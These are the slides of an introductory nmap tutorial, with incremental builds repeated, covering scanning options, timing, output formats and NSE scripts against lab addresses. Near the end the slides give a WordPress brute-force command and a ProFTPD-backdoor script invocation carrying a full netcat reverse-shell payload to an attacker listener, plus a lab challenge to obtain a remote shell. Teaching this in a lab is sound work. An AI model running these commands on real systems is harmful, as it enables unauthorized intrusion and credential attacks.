nmap 101

Santiago Gimenez Ocano

About Me

- Lead Security Engineer at Praetorian
- UtahSAINT member since 2019
- DC435 "member" since 2019
- Argentina

Disclaimer

Warning

This document is only for education purposes. Before scanning a network, always ask for consent.

Agenda

Introduction and Basic Usage

Introduction

`nmap` ("Network Mapper") is a free an open-source utility for network discovery and security auditing.

Introduction

`nmap` ("Network Mapper") is a free an open-source utility for network discovery and security auditing.

`nmap` can determine:

- what hosts are available on the network,
- what services those hosts are offering,
- what operating systems they are running,
- what type of pachet filters/firewalls are in use.

Introduction

Key Takeaway

`nmap` is a network scanner.

Introduction

Key Takeaway

`nmap` is a network scanner.

Key Takeaway

`nmap` allows us to know how the network really is as opposed to how it should be.

Basic Usage

Key Takeaway

Methodology: From a broad perspective to the details.

Basic Usage

Key Takeaway

Methodology: From a broad perspective to the details.

`nmap` **phases**	**TCP/IP Model**
Script scanning	Application
Port scanning	Transport
System discovery	Internet
	Link

Basic Usage

```
root@kali # nmap [Scan Type] [Options] {targets}
```

Targets:

- URLs,
- list of IP addresses,
- network addresses in CDIR,
- mix of previous,
- from a file.

Basic Usage

```
root@kali # nmap 192.168.56.16
```

This will ping the host, then scan the top-1000 most used TCP ports.

Basic Usage

```
root@kali # nmap 192.168.56.16
```

This will ping the host, then scan the top-1000 most used TCP ports.

```
root@kali # nmap 192.168.56.0/24
```

This will ping and then scan for the top-1000 most used TCP ports, but for the entire subnetwork.

Basic Usage

```
root@kali # nmap 192.168.56.16
```

This will ping the host, then scan the top-1000 most used TCP ports.

```
root@kali # nmap 192.168.56.0/24
```

This will ping and then scan for the top-1000 most used TCP ports, but for the entire subnetwork.

```
root@kali # nmap 192.168.56.16-19
```

This is the same as to the previous example, but we use a list of IP addresses.

Basic Usage

```
root@kali # nmap 192.168.56.16
```

This will ping the host, then scan the top-1000 most used TCP ports.

```
root@kali # nmap 192.168.56.0/24
```

This will ping and then scan for the top-1000 most used TCP ports, but for the entire subnetwork.

```
root@kali # nmap 192.168.56.16-19
```

This is the same as to the previous example, but we use a list of IP addresses.

```
root@kali # nmap -iL targets.txt
```

This will ping and then scan the top-1000 most used TCP ports, based on the hosts in the list.

Options

Modifying The Standard Scan Command

There are different types of options, the ones related to ports allow us to:

- change the number of top ports to scan,
- specify ports to be scanned,
- show only open ports,
- scan UDP ports.

Modifying The Standard Scan Command

```
root@kali # nmap --top-ports 10 192.168.56.16
```

Scan only the top-10 most common ports.

Modifying The Standard Scan Command

```
root@kali # nmap --top-ports 10 192.168.56.16
```

Scan only the top-10 most common ports.

```
root@kali # nmap -F 192.168.56.16
```

Scan the top-100 ports. This is called a fast scan.

Modifying The Standard Scan Command

```
root@kali # nmap --top-ports 10 192.168.56.16
```

Scan only the top-10 most common ports.

```
root@kali # nmap -F 192.168.56.16
```

Scan the top-100 ports. This is called a fast scan.

```
root@kali # nmap -p- 192.168.56.16
```

scan all ports in the target.

Modifying The Standard Scan Command

```
root@kali # nmap -p22,80,443 192.168.56.17
```

Scan only specific ports.

Modifying The Standard Scan Command

```
root@kali # nmap -p22,80,443 192.168.56.17
```

Scan only specific ports.

```
root@kali # nmap --open -p22,80,443 192.168.56.17
```

Same to the previous one, but show only the open ports. It will not show filtered ports.

Modifying The Standard Scan Command

```
root@kali # nmap -p22,80,443 192.168.56.17
```

Scan only specific ports.

```
root@kali # nmap --open -p22,80,443 192.168.56.17
```

Same to the previous one, but show only the open ports. It will not show filtered ports.

```
root@kali # nmap -sU --top-ports 10 192.168.56.16
```

Scan the top-10 most used UDP ports.

Getting More Information from `nmap`

The additional information we can get from `nmap` includes:

- OS fingerprinting,
- service name and version,
- vulnerabilities.

Getting More Information from nmap

```
root@kali # nmap -O 192.168.56.16
```

OS fingerprinting.

Getting More Information from nmap

```
root@kali # nmap -O 192.168.56.16
```

OS fingerprinting.

```
root@kali # nmap -sV 192.168.56.16
```

Service name and version detection.

Getting More Information from nmap

```
root@kali # nmap -O 192.168.56.16
```

OS fingerprinting.

```
root@kali # nmap -sV 192.168.56.16
```

Service name and version detection.

```
root@kali # nmap -sC 192.168.56.16
```

Additional information from services.

Getting More Information from `nmap`

```
root@kali # nmap -O 192.168.56.16
```

OS fingerprinting.

```
root@kali # nmap -sV 192.168.56.16
```

Service name and version detection.

```
root@kali # nmap -sC 192.168.56.16
```

Additional information from services.

```
root@kali # nmap -A 192.168.56.16
```

All the previous examples, plus a `traceroute`

Timing and Output

Timing

`nmap` automatically controls the speed of the scan based on network congestion.

Timing

`nmap` automatically controls the speed of the scan based on network congestion.

However, we can overwrite this with:

- `-T0` (paranoid),
- `-T1` (sneaky),
- `-T2` (polite),
- `-T3` (normal),
- `-T4` (aggressive),
- `-T5` (insane)

Timing

`nmap` automatically controls the speed of the scan based on network congestion.

However, we can overwrite this with:

- `-T0` (paranoid),
- `-T1` (sneaky),
- `-T2` (polite),
- `-T3` (normal),
- `-T4` (aggressive),
- `-T5` (insane)

```
root@kali # nmap -T5 192.168.56.16
```

Timing

`nmap` automatically controls the speed of the scan based on network congestion.

However, we can overwrite this with:

- `-T0` (paranoid),
- `-T1` (sneaky),
- `-T2` (polite),
- `-T3` (normal),
- `-T4` (aggressive),
- `-T5` (insane)

```
root@kali # nmap -T5 192.168.56.16
```

```
root@kali # nmap -T0 192.168.56.16
```

Saving the Output

Output format options:

```
root@kali # nmap [frmt {<file_name>}] {targets}
```

Saving the Output

Output format options:

```
root@kali # nmap [frmt {<file_name>}] {targets}
```

Where `frmt`:

- `-oN` is for regular files,
- `-oX` is for XML files,
- `-oG` is for greppable files.

Saving the Output

Output format options:

```
root@kali # nmap [frmt {<file_name>}] {targets}
```

Where `frmt`:

- `-oN` is for regular files,
- `-oX` is for XML files,
- `-oG` is for greppable files.

```
root@kali # nmap -oG results.txt 192.168.56.16
```

Scripts

Scripts

Scripts:

- extend the behavior of `nmap`,
- are run after open ports have been discovered,
- allows us to:
  - Get additional information (-C),
  - find categories of vulnerabilities,
  - find specific vulnerabilities.

Scripts

Scripts:

- extend the behavior of `nmap`,
- are run after open ports have been discovered,
- allows us to:
  - Get additional information (-C),
  - find categories of vulnerabilities,
  - find specific vulnerabilities.

Warning

Some of these scripts are considered intrusive.

Scripts

```
root@kali # nmap [--script=<script> [--script-args=<
    script_arguments>]] {targets}
```

Scripts

```
root@kali # nmap --script=vuln 192.168.56.16
```

Run all the scripts in the category vulnerability against the target.

Scripts

```
root@kali # nmap --script=vuln 192.168.56.16
```

Run all the scripts in the category vulnerability against the target.

```
root@kali # nmap --script="http-robots*" 192.168.56.16
```

Show the content of the `robots.txt` file.

Scripts

```
root@kali # nmap --script=vuln 192.168.56.16
```

Run all the scripts in the category vulnerability against the target.

```
root@kali # nmap --script="http-robots*" 192.168.56.16
```

Show the content of the `robots.txt` file.

```
root@kali # nmap -sV --script="http-wordpress-brute*" --
    script-args="passdb=./dict.txt" 192.168.56.16
```

Brute-force attack a Wordpress login page.

Scripts

```
root@kali # nmap -sV --script="ftp-proftpd-backd*"
   192.168.56.19
```

Check if the target is vulnerable to a specific vulnerability.

Scripts

```
root@kali # nmap -sV --script="ftp-proftpd-backd*"
   192.168.56.19
```

Check if the target is vulnerable to a specific vulnerability.

```
root@kali # nmap -sV --script="ftp-proftpd-back*" --script
   -args="cmd=ls" 192.168.56.19
```

List the content of a directory. We do this by modifying the arguments of the script.

Scripts

```
root@kali # nmap -sV --script="ftp-proftpd-back*" --script
  -args="cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -
  i 2>\&1|nc 192.168.56.1 4444 >/tmp/f" 192.168.56.19
```

Create a remote connection back to the attacker's machine.

Heads-up

You will need to have a `netcat` listener at port 4444 in your host machine. In Kali linux, you can use `nc -lvnp 4444` in a different terminal.

Recap

Warning

Warning

Before scanning a network, always ask for consent.

Takeways

Key Takeaway

`nmap` is a network scanner.

Takeways

Key Takeaway

`nmap` is a network scanner.

Key Takeaway

`nmap` allows us to know how the network really is as opposed to how it should be.

Takeways

Key Takeaway

`nmap` is a network scanner.

Key Takeaway

`nmap` allows us to know how the network really is as opposed to how it should be.

Key Takeaway

Methodology: From a broad perspective to the details.

What We Covered Today

We covered how to:

- Find systems in a network,
- Find open ports in those systems,
- Get the name and verion of services,
- Execute scripts to get more info,
- Execute scripts to find vulnerabilities,
- Execure scripts to exploit vulnerabilities.

What We Covered Today

We covered how to:

- Find systems in a network,
- Find open ports in those systems,
- Get the name and verion of services,
- Execute scripts to get more info,
- Execute scripts to find vulnerabilities,
- Execure scripts to exploit vulnerabilities.

Warning

Some scripts are considered intrusive.

What We Covered Today

We covered how to:

- Find systems in a network,
- Find open ports in those systems,
- Get the name and verion of services,
- Execute scripts to get more info,
- Execute scripts to find vulnerabilities,
- Execure scripts to exploit vulnerabilities.

Warning

Some scripts are considered intrusive.

This is only the tip of the iceberg!

Q & A

References

- `https://nmap.org`
- `# man nmap`
- `https://nmap.org/nsedoc/index.html`
- `https://nmap.org/book`
- Marsh, Nicholas. *Nmap 6 Cookbook: The Fat-Free Guide to Network Scanning*.2015
- Slide Templates: SimplePlus-BeamerTheme.
  `https://github.com/PM25/SimplePlus-BeamerTheme`

Challenge

1. Identify the hidden port in 192.168.56.19.
2. Identify the name of the service and version in the hidden port.
3. Identify if the service is vulnerable to an exploit.
4. Obtain a remote shell by changing the script arguments.